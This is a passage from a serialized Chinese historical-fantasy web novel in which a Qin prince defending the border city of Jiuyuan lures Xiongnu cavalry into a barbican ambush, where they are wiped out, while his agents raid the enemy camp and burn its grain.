“靠近城墙的不少商铺民宅,在昨夜激战中受损严重,部分甚至已被流矢火箭引燃。”
“是否……”
赢子夜毫不犹豫地打断他。
“拆!”
“将所有靠近城墙,可能被敌军利用作为掩体或攀爬支点的商铺、民居,全部拆除!”
“将拆下的石料、木料,即刻运送上城,充作守城器械!”
他的语气斩钉截铁,带着不容置疑的决断。
“去告诉那些商户和百姓,他们的损失,帝国会加倍补偿!”
“待此战结束,本公子必会命人用最好的材料,为他们重新盖起商铺,且三年免税!”
“但此刻,城池安危重于一切!”
他略一沉吟,继续下令,声音传遍周围将领耳中。
“再去府库,将库银全部取出!”
“临时征用城中所有酒楼、饭庄、货栈的存粮、肉食、布匹!”
“今日起,守城将士,包括协助守城的青壮百姓,伙食按最高标准供给,肉食管够!”
“告诉所有人——”
赢子夜的声音陡然提高,带着一种破釜沉舟的激昂与冷酷!
“吃了这些肉,用了这些物资,本公子给的,就得给本公子上城杀敌,用匈奴人的血来还!”
“否则,城破之日,敌军铁蹄之下,鸡犬不留,谁也活不了!”
“想活命,就跟着本公子,死战到底!!”
这番话语如同重锤,敲在每个听到的人心上。
一旁的钟离昧闻言,虎目含泪,抱拳嘶声道:“殿下放心!”
“末将等必率将士死战!”
“城在人在,城亡人亡!”
周围士卒也纷纷红着眼睛低吼起来,疲惫被一股狠厉的决绝所取代。
金荣更是激动得浑身颤抖!
他管理九原多年,深知钱粮的重要性。
此刻赢子夜竟毫不犹豫地散尽府库以励军心,这是何等魄力!!!
他噗通一声跪地。
“殿下!”
“九原上下,愿为殿下效死!”
“末将,这就去办!”
说完,爬起来踉跄着就要去执行命令。
“金将军且慢。”
赢子夜叫住他,补充道:“征用物资,按市价记账,战后由帝国一并结算,绝不亏欠百姓分毫。”
“秩序维持好,若有趁机哄抢,扰乱民心者,立斩!!”
“末将明白!”
金荣重重点头,转身快步离去,背影带着一种悲壮的决然。
“领命!”
身旁众将也齐声怒吼,声浪滚滚,穿透晨雾,昭示着这座边城不屈的意志。
第345章 将计就计,请君入瓮!
夕阳的余晖将九原城墙染成一片血色。
赢子夜在蒙恬、金荣、钟离昧等将领的陪同下,缓步巡视着经过一日休整,但气氛依旧紧绷的城防。
墙砖上干涸发黑的血迹,修补过的垛口,以及士卒脸上难以掩饰的疲惫,无不诉说着昨夜激战的惨烈。
“一整天了,匈奴大营除了例行巡逻,竟无任何异动。”
金荣望着远处连绵的敌营,眉头紧锁,语气中带着一丝不安的疑惑。
“连试探性的进攻都没有,这不合常理。”
钟离昧擦拭着佩剑,接口道:“怕是昨夜碰了硬钉子,正在重新谋划。”
“这些蛮子,诡计多端得很。”
赢子夜目光沉静地扫过城外那片死寂的营地。
天际最后一抹光亮正在迅速消逝,暮色如同巨大的幕布缓缓落下。
他淡淡道:“没有动静,有时比**更可怕。”
“或许,这便是暴风雨前的宁静。”
“他们在等,等一个他们认为最合适的时机……”
他的话音未落,突然——
“咻——!”
一声尖锐刺耳的哨箭声,猛地从匈奴大营方向撕裂了黄昏的寂静,划破长空!
城头众人瞬间神色一凛!
所有目光齐刷刷投向声音来源!
紧接着,又是两声间隔极短,节奏独特的哨箭声接连响起!
“噗通!”
金荣心脏猛地一跳,失声低呼。
“是信号!”
“和俘虏交代的暗号一模一样!”
赢子夜眼中寒光爆射,嘴角却勾起一抹一切尽在掌握的冰冷弧度。
“果然沉不住气了!”
“这哨箭,是通知城内内应,亦是进攻的号角!”
他猛地转身,面对众将,声音斩钉截铁,带着不容置疑的决断。
“传令!依计行事!”
“敌军今夜必来偷袭!”
“金荣、钟离昧!”
赢子夜目光如电。
“今夜守城将士,给本公子演得像一些!”
“一旦敌军奇袭部队,大部进入外城与内城之间的瓮城区域,立刻落下外城闸门,同时关闭内侧城门!”
“我要让他们进来容易,出去难!”
他手掌在空中狠狠一握,仿佛已将敌人攥于掌心。
“届时,四周城垛之上,伏**齐发,滚木礌石尽数倾泻!”
“将这瓮中之鳖,给本公子全部射杀于此,一个不留!”
“末将遵命!”
金荣和钟离昧齐声领命,眼中闪烁着兴奋与狠厉的光芒。
金荣更是补充道:“殿下放心,末将已在外城甬道两侧暗藏了火油,只待敌军入瓮,便叫他们尝尝火烧连营的滋味!”
“很好!”
赢子夜赞许地点头,随即挥手。
“速去准备!细节务必周全,绝不能露出破绽!”
众将领命,匆匆离去部署。
赢子夜则带着亲卫,快步走下城墙,身影融入渐浓的夜色中。
他并未回府,而是径直来到了城中一处隐秘的联络点。
暗河统领赵弋苍如同鬼魅般悄然现身,单膝跪地。
“主上!”
赢子夜屏退左右,压低声音,语速极快却清晰无比。
“时机到了!”
“敌军既已发出信号,其主力注意力必被城内‘动静’吸引。”
“待其偷袭部队离开大营,开始进攻城池之际,便是你动手之时!”
赵弋苍眼中精光一闪,抬起头,静待具体指令。
“你亲自挑选三百最精锐的夜枭卫,人衔枚,马裹蹄,趁夜色掩护,绕行至敌军大营侧后!”
赢子夜目光灼灼,带着一丝孤注一掷的锐气。
“此次行动,目标有二!”
“首要,焚其粮草!若能找到粮草囤积之地,不惜一切代价,纵火焚烧!”
“大军无粮,不战自溃!”
他顿了顿,语气更冷。
“其次,若有机会,尝试突袭其中军大帐,目标——左贤王!”
“若能斩此酋首,敌军必乱!”
“但切记,此为次要目标,若事不可为,或敌军守卫森严,绝不可恋战!”
“一击即走,迅速撤离!”
“我要的是扰乱敌军后方,打击其士气,而非让你们去送死!”
“明白吗?”
赵弋苍重重叩首,声音沙哑却充满决绝。
“卑职明白!焚粮扰敌,伺机斩首,绝不恋战!”
“主上放心,暗河儿郎,定不负重托!”
“纵是刀山火海,亦要撕下匈奴一块肉来!”
“嗯!”
赢子夜扶起他,用力拍了拍他的肩膀。
“活着回来!本公子在城中,等你的捷报!”
“诺!”
赵弋苍不再多言,身影一晃,便融入黑暗,去集结他那支令人闻风丧胆的夜枭小队。
安排完奇袭之事,赢子夜心思电转,又立刻唤来另一名心腹,低声吩咐。
“去,通知我们安排在城中的人手,以及部分机灵的囚徒,按计划行事!”
“等到约莫子时,敌军信号再起时,在城内东南区域,给本公子闹出些‘动静’来!”
“放几把小火,制造些喊杀声,但要控制规模,装作是内应仓促起事,试图里应外合却遭遇抵抗的样子!”
“同时,城墙之上,对应区域,也安排人做出混乱抵御的姿态,火光、人影都要有,演得逼真些!”
“要让匈奴人相信,他们的暗棋确实动了,而且正在城内苦苦支撑,为他们创造机会!”
“属下明白!定让匈奴人信以为真!”
心腹领命,迅速离去。
一切安排妥当,赢子夜独自立于暗处,望着夜空寥寥星辰,深深吸了一口冰冷的空气。
城中灯火零星,远处匈奴大营的火光连成一片,如同蛰伏的巨兽。
今夜,九原城将是一座巨大的舞台,也是一处精心布置的屠宰场。
他要以身为饵,请君入瓮。
更要反手一刀,直插敌腹!
“匈奴…还有那些藏在暗处的鬼蜮伎俩……”
赢子夜低声自语,指尖无意识地摩挲着剑柄上的纹路,眼中最后一丝犹豫尽去,只剩下冰封般的冷静与杀意。
“来吧,让本公子看看,这北疆的夜色,究竟能染多红!”
……
子时刚过。
九原城东南角,几处早已清空的废弃民宅猛地窜起火光!
浓烟滚滚而上,在夜色
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中格外刺目。
几乎同时。
一阵阵密集如同炒豆般的“噼啪”爆鸣声从那个方向炸响,打破了夜的沉寂!
那声音并非真正的兵刃交击,而是赢子夜命人将大量干燥竹节投入火中所致。
竹子受热爆裂,声响清脆连贯,在空旷的街巷间回荡,乍一听去,竟与短兵相接的混战有七八分相似!
而城头之上。
对应区域也适时亮起了更多晃动的火把,人影幢幢,隐约传来士兵们刻意压低的呼喝与“厮杀”声。
仿佛正与潜入城内的“内应”激烈搏斗。
赢子夜站在内城一处高楼的阴影里,远远望着那片热闹的区域,火光在他深邃的眸子里跳跃。
一名暗河成员悄无声息地落在他身后,低声道。
“主上,一切顺利,火势和声响都控制得很好,匈奴大营方向已有异动,似乎有部队正在集结。”
赢子夜微微颔首,脸上没有任何表情,唯有嘴角勾起一丝冷冽的弧度。
他听着那连绵不绝的竹爆声,眼中闪过一丝算计得逞的精光。
“很好,就这么干!”
他低声对身旁负责此事的将领吩咐,语气带着一种掌控全局的冷静。
“告诉下面的人,火可以再烧旺些,竹子继续加!”
“声音要给本公子响到连匈奴大营最角落的士兵都能听见!”
“但要把握好分寸,别真把房子烧塌了,烟雾要大,火光要亮,但火势绝不能失控蔓延到其他区域!”
“末将明白!”
那将领兴奋地搓了搓手。
“殿下此计甚妙!
这竹节爆响,比真刀**的动静还唬人!
保管让那些匈奴崽子以为咱们城里已经杀得天翻地覆了!”
赢子夜目光依旧紧盯着城外敌营的动静,语气平淡却带着不容置疑的威严。
“演戏就要演全套。”
“让城头的抵抗再激烈些,偶尔丢下一两具草人尸体,再放几支稀稀拉拉的箭出去。”
“要让他们相信,他们的内应正在城里拼死打开局面,就等他们主力攻城了。”
他顿了顿,补充道。
“再派几个机灵的去靠近外城的巷口,装作惊慌失措的百姓模样喊几声‘城破啦’、‘蛮子杀进来啦’,声音不用太大,但要凄惨,要绝望。”
“殿下算无遗策!”
将领心悦诚服,立刻转身跑去传达命令。
很快!
东南角的火光更盛,竹节的爆鸣声也更加密集响亮,其间还夹杂着几声刻意制造的短促惨叫和惊呼。
城头上的“战斗”似乎也进入了白热化。
火把晃动得更急,人影交错,喊杀声也提高了些许!
赢子夜静静地站着,如同一尊隐藏在黑暗中的雕像。
夜风吹拂着他的发丝,带来远处隐约的喧嚣和近处竹节燃烧的噼啪声。
他知道,鱼儿已经看到了诱饵,正在试探着靠近。
今夜,这九原城便是他精心布置的棋局,每一步落子,都要让对手付出惨痛的代价。
“继续。”
他对着空无一人的夜色,轻声自语,又像是在对整座城池下令。
“让这出戏,唱得更热闹些!”
第346章 就让此地,成为尔等葬身之地!
匈奴联军大营。
中军王帐内灯火通明,却弥漫着一股焦灼的期待。
左贤王并未安坐,而是在铺着狼皮的地图前来回踱步,手指不时敲击着腰间的刀柄。
帐内几名心腹将领和戎狄部族的头人也都屏息凝神,目光不时瞟向帐外漆黑的夜空。
突然,帐帘被猛地掀开,一名浑身带着寒气,气喘吁吁的斥候冲了进来,单膝跪地,脸上带着难以抑制的兴奋。
“禀报左贤王!”
“九原城内信号已现!”
“东南方向火起,杀声震天,爆响连绵不绝!”
“城头守军调动频繁,一片混乱,确是我方内应已然动手!”
“好!”
左贤王猛地停下脚步,眼中爆射出骇人的精光,脸上因激动而泛起潮红。
“等了整整一天,终于等到了!”
他身旁一名戎族酋长却带着几分疑虑,摸着下巴道:“左贤王,这……会不会是秦人的诡计?”
“那个秦国公子狡诈得很……”
“诡计?”
左贤王嗤笑一声,打断了他,语气充满了自信与不屑。
“城内火光、杀声、爆响,皆是实打实!”
“若非内应起事,岂能有此动静?”
“更何况,我们安插的钉子隐秘至极,秦人绝无可能尽数拔除!”
“此时不动,更待何时?”
“难道要等秦人平息内乱,加固城防吗?”
他不再犹豫,猛地转身,点向帐中一名以勇猛著称的万骑长。
“兀朮!”
“本王给你六千精锐轻骑!”
“趁秦人内乱,城门或有疏漏,给本王直扑九原南门!”
“若城门已开,便径直杀入!”
“若未开,便强行攻打!”
“务必在秦人反应过来之前,撕开一道口子!”
那名叫兀朮的万骑长身材魁梧,满脸横肉,闻言眼中露出嗜血的狂热,重重捶胸。
“左贤王放心!”
“末将定当一鼓作气,为大王拿下九原城门!”
“让秦狗见识见识**原儿郎的厉害!”
“去吧!”
左贤王大手一挥。
“动作要快!本王在此,静候你的捷报!”
“末将遵命!”
兀朮怒吼一声,转身大步冲出王帐,立刻点齐麾下六千最为彪悍的骑兵。
一时间,营中人喊马嘶,火把乱晃。
六千铁骑如同暗夜中涌出的狼群,悄无声息却又迅捷无比地脱离大营,朝着九原城南门的方向疾驰而去!!
马蹄声被刻意压抑,却依旧带着沉闷的雷音,震得大地微颤。
然而,左贤王和兀朮都未曾察觉。
就在他们大营外围的阴影里,几双如同鹰隼般锐利的眼睛,正冷冷地注视着这一切。
暗河的顶尖**们,如同融入夜色的石雕,将匈奴骑兵的调动尽收眼底。
一名年轻的**按捺不住,手指微微屈起,似乎想要发出行动的信号,却被身旁一只沉稳的手牢牢按住。
“沉住气。”
按住他的是一名经验丰富的老牌夜枭,声音低得几乎听不见,却带着不容置疑的威严。
“统领有令,待其奇袭部队离开,进攻城池之际,方是我等动手之时。”
“此刻若动,打草惊蛇,左贤王必生警觉,加强戒备,我等奇袭便失了先机。”
“让他们去,让他们以为得计,让他们把注意力都放在那座空城上!”
年轻**深吸一口气,强行压下心中的躁动,重新隐入黑暗。
只是那双眼睛,依旧死死盯着远处那支逐渐远去的骑兵洪流,以及依旧灯火通明,却因主力外出而显得内部略显空虚的匈奴大营。
夜还很长。
猎杀,需要最好的耐心……
暗河的刀刃,早已淬毒,只待那最致命的一刻出鞘!!
……
六千匈奴轻骑如同暗夜中奔袭的狼群,在首领兀朮的带领下,悄无声息地逼近九原城南门。
远远望去,城头之上果然一片“混乱”,火光摇曳,人影杂乱。
先前那震天的喊杀声和爆响似乎刚刚平息,只剩下零星的负隅顽抗,兵刃交击声和垂死惨叫,更添几分真实。
尤其显眼的是,那段城墙上的守军似乎稀疏了不少,旗帜也有些歪斜。
兀朮勒住战马,一双鹰眼死死盯着城门楼。
只见那沉重的包铁木门,竟真的缓缓开启了一道缝隙,并且越来越大!
隐约可见门后有几个穿着秦军服饰的身影正在奋力推开城门,其中一人还朝着城外方向挥了挥手,随即就被身后“追兵”砍中,踉跄倒地。
“城门开了!天助我也!”
兀朮身边一名副将激动得低吼出来,眼睛都红了。
“将军!机不可失!”
兀朮心脏狂跳,热血上涌,最后一丝疑虑被眼前的“事实”彻底冲散。
他仿佛已经看到了堆积如山的金银绸缎,哀嚎求饶的秦人百姓,还有左贤王赞赏的目光和丰厚的封赏!
“长生天庇佑!”
“草原的勇士们!”
兀朮猛地抽出弯刀,刀锋在夜色中划出冰冷的弧线,他声嘶力竭地咆哮,声音因极度兴奋而扭曲。
“城门已开,内应得手!”
“随我杀进去!财富、女人,就在眼前!”
“杀光秦狗,鸡犬不留!”
“嗷呜——!”
六千骑兵发出了嗜血的狼嚎,压抑已久的杀戮欲望瞬间被点燃!
他们不再掩饰行踪,催动战马,如同决堤的洪水,朝着那洞开的城门发起了疯狂的冲锋!
铁蹄践踏大地,发出雷
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鸣般的轰响,整个南门外的地面都在颤抖!
冲在最前面的骑兵,甚至能看清城门甬道内散落的“尸体”和斑驳的血迹。
以及那些正在慌乱逃窜的零星守军背影。
这一切都让他们更加确信,胜利唾手可得!
兀朮一马当先,脸上带着狰狞而狂喜的笑容,第一个冲入了城门洞。
阴冷的风扑面而来,但他心中却是一片火热。
然而,就在他冲过城门,眼前豁然开朗,进入那片较为宽阔的瓮城区域时,他脸上的笑容瞬间凝固了!
不对劲!
瓮城内异常空旷,根本没有预想中的接应内应,也没有溃散的守军。
只有冰冷的墙砖,和死一般的寂静。
与他身后震耳欲聋的马蹄声和喊杀声形成了诡异的对比。
几乎是本能,一股寒意从脊椎直冲头顶!
“停!快停下!有诈!”
兀朮猛地勒紧缰绳,声嘶力竭地大吼,想要阻止后续部队涌入。
但已经太晚了!
六千骑兵冲锋的惯性何等巨大?
前面的想停,后面的却还在拼命往前挤!
整个骑兵洪流如同失控的野牛,硬生生被惯性推着,全部涌入了这致命的陷阱!
就在最后一名骑兵冲入瓮城的刹那——
“轰隆!!!”
一声沉闷如巨兽咆哮的巨响,那扇诱骗他们进来的外城闸门,以雷霆万钧之势轰然落下!
沉重的铁闸砸在地面上,激起漫天尘土,彻底封**退路!
几乎同时,“哐当”一声巨响,内侧通往主城的城门也被重重关闭!
铁栓落下的声音清晰可闻,如同敲响了死亡的丧钟!
兀朮和六千骑兵,瞬间成了瓮中之鳖!
“不好!中计了!”
兀朮目眦欲裂,惊恐的吼声在瓮城内回荡,充满了绝望和难以置信。
下一刻,仿佛是为了回应他的绝望——
“呼——!”
瓮城四周的城墙之上,无数火把几乎在同一时间被点燃!
刹那间,将整个瓮城照得亮如白昼!
火光之下,是密密麻麻,盔明甲亮的秦军士卒!
他们如同从黑暗中浮现的幽灵,面无表情,眼神冰冷。
手中的强弓硬**已然张开,无数闪烁着死亡寒光的箭矢。
如同毒蛇的信子,对准了下方挤作一团,惊慌失措的匈奴骑兵!
金荣的身影出现在正前方的城楼上。
他居高临下,看着瓮城内如同无头苍蝇般乱撞的敌军,脸上露出了压抑已久的残酷笑容。
声音通过内力传遍整个瓮城,带着冰冷的嘲讽和杀意。
“匈奴蛮子!”
“尔等已中我家殿下妙计!”
“这瓮城,便是尔等的葬身之地!”
“放箭!”
第347章 百密终有一疏!
随着他一声令下——
“咻咻咻——!”
如同疾风骤雨般的箭矢,从四面八方倾泻而下!
密集得几乎没有丝毫缝隙!
箭簇破空的尖啸声瞬间盖过了匈奴人的惊呼和战马的悲鸣!
“举盾!快举盾!”
兀朮疯狂地挥舞着弯刀格挡,声嘶力竭地命令。
但骑兵在狭窄的瓮城内根本施展不开,人马拥挤,所谓的盾牌在如此密集的箭雨下如同纸糊一般!
“噗嗤!噗嗤!”
利刃入肉的声音不绝于耳!
战马惨嘶着倒地,骑兵如同被割倒的麦子般一层层倒下!
鲜血瞬间染红了瓮城的土地,汇聚成溪流。
绝望的惨叫,垂死的**,战马的哀鸣,箭矢的呼啸……
络绎不绝!
兀朮身中数箭,兀自挥舞弯刀,状若疯魔。
他抬头望向城楼上那道玄衣身影,嘶吼道。
“赢子夜!卑鄙小人!有本事下来与爷爷决一死战!”
赢子夜冷漠地俯视着下方的**,对于兀朮的挑衅充耳不闻。
战争从来只有胜负,没有卑鄙。
他轻轻抬手。
第二波、第三波箭雨接踵而至!
中间还夹杂着巨大的滚木和灼热的火油罐!
瓮城,彻底变成了一个巨大的屠宰场!
六千匈奴精锐骑兵,连秦军的面都没正式碰上,便在这精心布置的陷阱中,走向了全军覆没的结局。
而此刻。
赢子夜玄衣玉冠的身影,如同暗夜中的主宰,巍然不动的立于城楼垛口前。
火把的光芒在他身后跳跃,将他冷峻的面容映照得半明半暗,俯瞰着下方那片血腥狼藉的人间地狱。
他的目光扫过那些在箭雨中挣扎、哀嚎的匈奴骑兵。
如同看着砧板上待宰的鱼肉。
瓮城内,人马尸体堆积,鲜血几乎淹没了脚踝。
残存的匈奴骑兵挤在狭小的空间里,如同被困在牢笼里的野兽,惊恐、愤怒、绝望地挥舞着弯刀。
试图格挡那仿佛永无止境的箭矢。
但一切都是徒劳。
每一声弓弦响动,都伴随着生命消逝的惨嚎!
赢子夜缓缓抬起手。
城墙上密集的箭雨骤然停歇了一瞬。
只留下伤者的哀嚎和战马垂死的悲鸣在瓮城内回荡。
这突如其来的寂静,反而更加令人窒息!
他清冷的声音,不大,却带着一种穿透喧嚣,直抵灵魂的威严,清晰地传入了每一个幸存匈奴骑兵的耳中。
“放下武器,跪地投降。”
“本公子可以饶你们不死。”
这话语,如同在沸腾的油锅里滴入了一滴冷水。
残存的匈奴骑兵们愣了一下,随即爆发出更加疯狂的反应!
“呸!秦狗!休想骗你爷爷!”
一个浑身是血,胳膊上还插着箭矢的百夫长,挣扎着站起,朝着赢子夜的方向狠狠啐了一口带血的唾沫。
脸上满是狰狞和鄙夷。
“草原的雄鹰,宁可站着死,绝不跪着生!”
“对!投降?做梦!长生天会诅咒你们这些卑鄙的秦人!”
“兀朮将军!跟他们拼了!杀一个够本,杀两个赚一个!”
残兵败将们被绝境激发了凶性。
非但没有投降,反而聚拢在身受重伤,靠在一匹死马旁喘息的兀朮身边,挥舞着弯刀,发出困兽般的咆哮和恶毒的咒骂。
兀朮抬起头,布满血丝的眼睛死死盯住赢子夜,咧开嘴,露出被血染红的牙齿,发出嗬嗬的怪笑。
“赢子夜…咳咳…想让爷爷投降?下辈子吧!”
“今日中了你的奸计,爷爷认栽!”
“但你想兵不血刃就拿下我们?妄想!”
“草原勇士的骨头,硬得很!”
赢子夜静静地听着这些充满恨意和绝望的咒骂,脸上没有任何波澜,仿佛在看一场与己无关的闹剧。
他给过他们机会了。
既然选择尊严地战死,那便……成全他们。
他眼中最后一丝若有若无的怜悯彻底消散,取而代之的是冰封**的冷酷!
他缓缓放下抬起的手,声音比这北疆的夜风还要寒冷刺骨。
“冥顽不灵。”
“既然如此…那就送他们上路。”
“放箭。”
最后两个字,轻飘飘的,却如同死神的宣判。
早已蓄势待发的秦军**手,眼中没有丝毫犹豫,只有执行命令的冰冷!
弓弦震响的声音再次连成一片,比之前更加密集,更加狂暴!
“咻咻咻——!”
黑色的箭矢如同死亡的暴雨,带着凄厉的尖啸,从天而降,无情地覆盖了瓮城内每一个角落!
这一次,不再有任何停顿,不再有任何怜悯!
“啊!”
“长生天啊!”
“我跟你们拼了!”
最后的抵抗和咒骂,瞬间被更加凄厉的惨叫所淹没。
箭矢穿透皮甲,钉入血肉,带走一条条生命。
战马在悲鸣中彻底倒下,骑兵如同被收割的稻草般成片栽倒。
兀朮试图举起弯刀,却被七八支箭矢同时射成了刺猬。
他瞪大了眼睛,带着无尽的怨恨和不甘,重重倒地,鲜血从他身下汩汩涌出。
**,在赢子夜冷漠的注视下,高效而彻底地进行着!
不过半炷香的功夫,瓮城内的喊杀声、咒骂声、哀嚎声渐渐微弱下去。
最终,只剩下箭矢偶尔射中尸体的沉闷噗嗤声,以及火焰燃烧的噼啪声!
六千匈奴精锐骑兵,全军覆没!!
瓮城之内,尸积如山,血流成河,浓烈的血腥气冲天而起,连城墙上的秦军士卒都忍不住微微变色。
赢子夜面无表情地转过身,不再看那修罗场般的景象。
战争便是如此,对敌人的仁慈,就是对自己人的残忍。
……
与此同时。
匈奴联军大营的侧后方。
夜色如同浓墨,正是**放火的好时机。
赵弋苍如同暗夜中的头狼,率领着三百名最精锐的夜枭卫,如同三百道没有实体的幽灵,悄无声息地潜入了营地的阴影之中。
他们行动迅捷如风,脚步落地无声。
每一次呼吸,都压抑到极致。
完全融入了风声与草丛的窸窣声中。
冰冷的杀气在他们周身凝聚,却又被完美地收敛,仿佛毒蛇在发起致命一击前的蛰伏。
他们的目标明确——
粮草囤积地,以及各部族首领的大帐!!
行动之初,顺利得令人心悸。
巡逻的哨兵往往
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只觉得脖颈一凉,便已失去知觉,被拖入黑暗。
戎族、狄族几个附属部落的营地守卫相对松懈。
夜枭卫如同神魔挥舞的镰刀,精准而高效地清理着路径上的障碍!
赵弋苍亲自潜入一个狄族小酋长的大帐。
帐内鼾声如雷,那酋长搂着酒囊睡得正沉。
赵弋苍眼中没有丝毫波动,**在黑暗中划过一道微不可查的寒光,精准地割开了对方的喉咙。
酋长只在梦中抽搐了一下,便再无声息。
鲜血浸透了铺地的兽皮,散发出浓重的腥气。
赵弋苍看都未多看一眼,如同完成了一件微不足道的小事,身影一闪,已出了大帐,扑向下一个目标。
另一处戎族将领的营帐外,两名夜枭卫如同壁虎般贴在帐幕阴影下。
帐内传来将领粗重的喘息和一名女子低低的啜泣声。
片刻后,帐帘被掀开一条缝,那将领衣衫不整地探出头,似乎想催促亲兵送些热水进来。
他刚张开嘴,一道乌光便从侧面射入他的太阳穴!
他眼珠猛地凸出,哼都未哼一声便软倒在地。
帐内的女子听到动静,发出一声短促的惊叫。
但立刻,被另一名潜入的夜枭卫捂住嘴,低声道:“别出声,不杀你。”
随即一掌将其击昏!
杀戮在寂静中进行,死亡如同瘟疫般在营地边缘蔓延。
短短时间内,已有数名依附匈奴的中小部族头领和将领在睡梦中或被悄无声息地刺杀。
然而,百密一疏。
就在一名夜枭卫刚刚解决掉一个犬戎部落的百夫长,正准备撤离时,帐外却传来了脚步声和说话声。
“百夫长,您要的女人送来了……”
一名亲兵谄媚的声音响起,随即掀开了帐帘。
火光映入帐内,亲兵脸上的笑容瞬间僵住,瞳孔骤然收缩——
他看到的不是期待中的香艳场景,而是倒在血泊中,双目圆睁,已然气绝的百夫长,以及一个正要融入阴影的黑衣身影!
“啊——!有刺客!百夫长**!”
亲兵发出了撕心裂肺,充满惊恐的尖叫。
这声音在寂静的夜里如同平地惊雷,瞬间划破了营地的宁静!
“暴露了!撤!”
赵弋苍心头一凛,知道行动无法再继续隐匿。
他当机立断,发出一声短促尖锐的唿哨!
原本如同鬼魅般散开行动的夜枭卫闻声,立刻放弃当前目标。
如同受到惊扰的蝙蝠,从各个角落向赵弋苍的方向急速靠拢集结!
动作之快,令人瞠目。
而与此同时,几名早有准备的夜枭卫手腕一抖,火油瓶悄然甩出,砸进敌军堆放粮草的车垛与草垛之中!
“轰!”
火焰瞬间腾起,夜风呼啸,烈焰如同张开的血口,疯狂吞噬着积累已久的粮秣!
惊呼与怒吼在敌营骤然炸开,无数兵卒如热锅上的蚂蚁般四处奔走。
粮草,是军队的命脉!
这突如其来的火海,犹如在他们心头捅了一刀!
赵弋苍回首一眼,目光冷冽。
火光照亮他坚毅的面庞,他沉声喝道:“走!”
夜枭卫们齐齐应声。
但这一声尖叫和唿哨,也彻底惊醒了沉睡的巨兽!
第348章 未竟其功,却尽其力!
“敌袭!”
“营地有奸细!”
“保护左贤王!”
整个匈奴大营如同炸开的马蜂窝,瞬间陷入了巨大的混乱!
警锣声、号角声、士兵的惊呼,军官的怒吼,杂乱的脚步和兵刃出鞘的声音响成一片!
无数火把被点燃,人影幢幢,原本沉寂的营地变得喧嚣鼎沸!
中军王帐方向,护卫力量最强。
左贤王被亲兵们从睡梦中紧急唤醒,仓促披上铠甲,在一群精锐武士的团团护卫下,从帐中大步走出。
他看着眼前混乱不堪,喊杀声四起的营地,脸上先是愕然,随即转化为滔天的怒火和难以置信!
“怎么回事?!哪里来的敌人?”
“秦人?他们怎么敢?!”
左贤王的声音因愤怒而颤抖。
他万万没想到,兵力占据绝对优势的自己,竟然会被对方摸到老巢里来奇袭!
这简直是奇耻大辱!
“王爷!是一伙黑衣刺客,人数不多,但身手极高,已经刺杀了我们好几个部落的头人!”
一名浑身是血的将领踉跄着跑来汇报。
“废物!一群废物!”
左贤王暴怒,一脚将那将领踹开,拔出腰间的宝刀,指向喊杀声最密集的方向,眼中喷射着嗜血的凶光。
“给我围住他们!一个都不许放跑!”
“全部剁成肉酱!”
“本王要拿他们的头骨当酒器!”
得到命令的匈奴士兵如同潮水般从四面八方涌来,试图将暴露行踪的夜枭卫合围。
箭矢开始零星射来,虽然准头不佳,但数量越来越多。
“结阵!向西突围!”
赵弋苍临危不乱,声音冷静得可怕。
三百夜枭卫瞬间收缩,背靠背组成一个圆阵。
手中**、短**、飞针等奇门兵刃舞动,将扑上来的匈奴士兵如同割草般放倒。
他们配合默契,出手狠辣,每一步移动都带着死亡的韵律。
然而,敌军数量实在太多,包围圈越来越厚。
眼看就要陷入重围,赵弋苍眼中闪过一丝决绝,猛地从怀中掏出一个婴儿拳头大,通体乌黑的圆球。
这是赢子夜交给他的保命之物,名为“雷火弹”!
“闭气!掩目!”
赵弋苍低吼一声,用尽全力将雷火弹掷向人群最密集处!
“轰——!”
一声震耳欲聋的巨响!
雷火弹猛地炸开,火光冲天,浓烟弥漫,伴随着强烈的冲击波和刺鼻的硫磺气味!
周围的匈奴士兵顿时被炸得人仰马翻,惨叫声一片,包围圈瞬间被撕开一个缺口!
“走!”
赵弋苍毫不恋战,趁着敌军被炸懵,视线被浓烟遮蔽的瞬间,率领夜枭卫如同利箭般从缺口冲出。
头也不回地向着西边的黑暗疾驰而去!
动作干脆利落,毫不拖泥带水。
等到浓烟稍稍散去,左贤王气急败坏地驱散烟雾,看到的只有满地狼藉的尸体和哀嚎的伤兵,以及远处那几个迅速消失在夜色中的黑点。
“追!”
“给本王追!”
“绝不能放跑他们!”
左贤王挥舞着战刀,暴跳如雷。
就在这时,一匹快马疯狂地冲入混乱的营地,马上的斥候甚至来不及下马,便用带着哭腔,绝望的声音嘶喊道。
“报——!”
“左贤王!大事不好!”
“兀朮将军…兀朮将军所率六千先锋骑兵,在九原城南门…中伏!”
“全军……全军覆没了!”
这个消息,如同一记重锤,狠狠砸在了左贤王和所有听到的匈奴将领心头!
“什么?!”
左贤王身体猛地一晃,几乎站立不稳,脸上的暴怒瞬间被巨大的震惊和难以置信所取代。
“六千精锐…全军覆没?”
“这…这怎么可能?!”
话音未落,营外又是一阵急促的脚步声!
一个斥候满身狼藉冲进大帐,扑通一声跪倒在地,声嘶力竭:“启禀左贤王!粮草营……粮草营起火!”
“火势极猛,已经蔓延整片车垛!”
“积储粮秣……大半尽毁!!!”
噩耗接连传来,大帐内的空气瞬间凝固,仿佛连呼吸都变得窒息!
一边是六千骑兵的覆没,一边是军中命脉的焚毁。
坏消息一个接一个,如同黑色的浪潮,扑面而来,将所有人心头的最后一丝侥幸,彻底淹没!
接踵而来的打击,让左贤王的大脑一片空白,随即是无边的耻辱和狂暴的怒火直冲顶门!
他的脸色由红转青,由青转紫,胸膛剧烈起伏,猛地一脚踹翻了旁边的火盆,火星四溅!
他仰天发出了一声如同受伤野兽般的咆哮。
“赢!子!夜!”
“本王与你势不两立!”
“啊——!”
咆哮声在夜空中回荡,充满了刻骨的仇恨和杀意。
“传令!”
左贤王猛地转身,眼睛血红,声音嘶哑却带着毁灭一切的疯狂。
“集结所有兵力!重整大军!”
“天一亮,给本王全力攻城!”
“不惜一切代价,踏平九原!”
“本王要亲手砍下赢子夜的头颅,祭奠**原勇士的亡魂!”
“此仇不报,誓不为人!
……
天色将明未明。
九原城内弥漫着硝烟、血腥与一种大战间歇的诡异宁静。
瓮城内的尸体尚未清理完毕,空气中浓重的铁锈味令人作呕。
赢子夜并未休息,依旧站在内城高处,眺望着远方匈奴大营那片躁动不安的火光。
一道黑影如同融入晨雾般悄然出现在他身后,单膝跪地,正是刚刚率队浴血归来的赵弋苍。
他身上的黑衣多处破损,沾染着暗红色的血迹。
有些是他自己的,更多的是敌人的。
气息略显急促,但眼神依旧锐利如鹰。
“主上,卑职复命。”
